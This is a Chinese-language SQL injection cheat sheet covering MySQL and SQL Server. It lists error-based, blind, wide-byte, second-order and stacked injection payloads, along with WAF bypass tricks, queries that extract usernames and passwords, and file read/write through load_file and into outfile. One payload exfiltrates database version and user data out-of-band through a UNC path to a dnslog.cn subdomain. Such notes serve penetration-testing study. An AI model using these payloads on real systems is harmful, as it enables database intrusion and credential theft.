SQL注入
产生原因:前台与后台进行交互的时候,输入的内容没有经过严格的过滤,造成攻击者可以构造特殊的SQL语句,造成SQL注入攻击
两个关键前提
1、用户能控制输入的内容
2、web应用能把用户输入的内容带到数据库中执行
分类
根据请求方式不同
1、GET注入
2、POST注入
根据参数类型
1、数值型
2、字符型
3、搜索行
根据反馈类型
1、联合注入
2、报错注入
3、盲注
4、堆叠注入
根据常用数据库分类
1、MySQL注入
2、SQL server注入
3、Oracle注入
4、Access注入
常用函数
返回当前使用数据库的用户
user()/system_user()/current_user()/session_user()
返回当前数据库版本
version()/@@version
返回当前数据库
database()
返回当前数据库所在路径
@@datadir
返回当前操作系统版本
@@version_compile_os
字符串处理
concat()/concat_ws()/group_concat()
substr()/substring()/mid()/left()/right()
length()
条件判断
if(arg1,arg2,arg3)
进制转换
ascii()/ord() 返回ASCII码
char() 返回ASCII对应的字符
hex() 编码为16进制
unhex() 解码16进制
几种注入的后台数据库代码
select * from users where id=1
select * from users where username=‘admin’
select * from users where username like ‘%root%’
insert into table_name(t1,t2,t3) values(v1,v2,v3)
update table_name set 字段名=新值 where 字段名=值
delete from table_name where 字段名=值
报错函数
updatexml(1,concat(0x7e,database(),0x7e),1)
extractvalue(1,concat(0x7e,database(),0x7e))
floor()
exp()
linestring()
multipoint()
因为updatexml()和extractvalue()有长度限制,所以爆数据的时候,可以结合limit 0,1,再结合bp爆破使用
盲注
时间盲注函数
if(1=1, sleep(5), 1)
benchmark(arg1, arg2)
arg1,执行的次数
arg2,表达式
if(1=1, benchmark(1000000, md5(‘abc’)), 1) 执行md5加密’abc’100万次,这样也会使页面延时显示
盲注的话,需要结合length(database())函数,先得到长度,再一个字符一个字符去猜
再结合count(*)函数,猜有几列
然后这里也可以结合ascii(substr(database(),1,1)),把单个字符转换为ascii码,再去结合bp爆破,就比硬猜要好一点
宽字节注入
PHP有特殊字符转义函数:addslashes()、mysql_real_escape_string()、mysql_escape_string()、magic_quotes_gpc
数据库采用的编码格式为GBK
转义时,用%df与\结合起来组成一个宽字符,这样就达不到转义的效果
避免宽字节注入,就不应该使用GBK编码,并且使用字符串转义函数
SQL读写文件
前提
my.ini中,secure_file_priv=
读文件
load_file(“文件路径”),只能用来读文件,不能读目录
@@basedir MySql安装路径
@@datadir MySql数据库文件的读取路径
load_file()函数不仅可以读取本地文件,并且还可以读取网络上的文件
于是就可以结合dnslog.cn来实现带外攻击
and select load_file(concat(“\\”,version(), “. 8bzoqi.dnslog.cn\a.txt”)) – -
当回显结果夹杂特殊符号时,可以用十六进制编码绕过
and select load_file(concat(“\\”,hex(user()), “. 8bzoqi.dnslog.cn\a.txt”)) – -
写文件
into outfile()
into dumpfile()
select “文件内容” into outfile/dumpfile “路径+文件名”
二次注入
前提
登录功能,不能注入
注册功能,不能覆盖已有用户 但是能用来判断已经注册过的用户 不能insert注入 但是注册的新用户的用户名里面能写到特殊字符
这个时候,注册用户admin’ – -,使用该用户登录并且重置该用户密码
堆叠注入
产生原因
源代码中使用的执行SQL语句的函数不同
mysqli_multi_query() :该函数执行一个或多个针对数据库的查询。多个查询用分号进行分隔。但是只存储第一个查询语句返回的结果集。
mysql_query() :该函数执行一条 MySQL 查询。
堆叠注入就是因为后台源代码使用了mysqli_multi_query()函数,虽然该函数只存储第一个查询语句返回的结果集,但是后面用分号隔开的语句可以不查询,而是写入文件、插入用户、修改密码、删除数据等操作
WAF绕过
常用方式
1、大小写
2、双写
3、编码
4、使用注释 union/**/select 1,2,3,4
5、等价函数与命令
6、特殊符号 select+id+from users;
SQL server注入
SQL server注入
单行注释 – -
多行注释 /* */
SQL Server常用函数
@@version 数据库版本
db_name() 当前数据库名
user 当前数据库所有者,dbo是每个数据库的默认用户
suser_name() 当前登录数据库的真实用户
substr() 字符串截取
ascii()
len()
count()
SQL Server联合查询
查询数据库
select count(*) from sys.sysdatabases;
select top 1 name from sys.sysdatabases;
select top 1 name from sys.sysdatabases where name != ‘master’;
查询指定数据库下的表
sysobjects中存储了该数据库中创建的所有对象,其中包含数据表,xtype就是该对象的类型,u即代表由用户创建的数据表
select count(name) from sysobjects where xtype=‘u’;
select count(name) from test.sys.sysobjects where xtype=‘u’; // 对其他数据库下用户创建的表查询
select name from sysobjects where xtype=‘u’;
select top 1 name from test.sys.sysobjects where xtype=‘u’;
select top 1 name from test.sys.sysobjects where xtype=‘u’ and name !=‘users’;
查询指定表中所有的字段
同一张表中所有字段所对应的ID是一样的
select top 1 name from sys.syscolumns where id=object_id(‘users’);
select top 1 name from sys.syscolumns where id=object_id(‘users’) and name != ‘id’;
查询表中数据
?id=-1 union select null,username,password from users where id=1
select top 1 username from users where id=1
SQL Server报错查询
报错函数:convert(a, b) – 类型转换函数,第一个参数是要转换成的类型,第二个参数是要转换的数据
convert(int, db_name())
?id=1 and 1=convert(int,(db_name()))
?id=1 and 1=convert(int,(select top 1 username+’~’+password from users where username != ‘zhangsan’))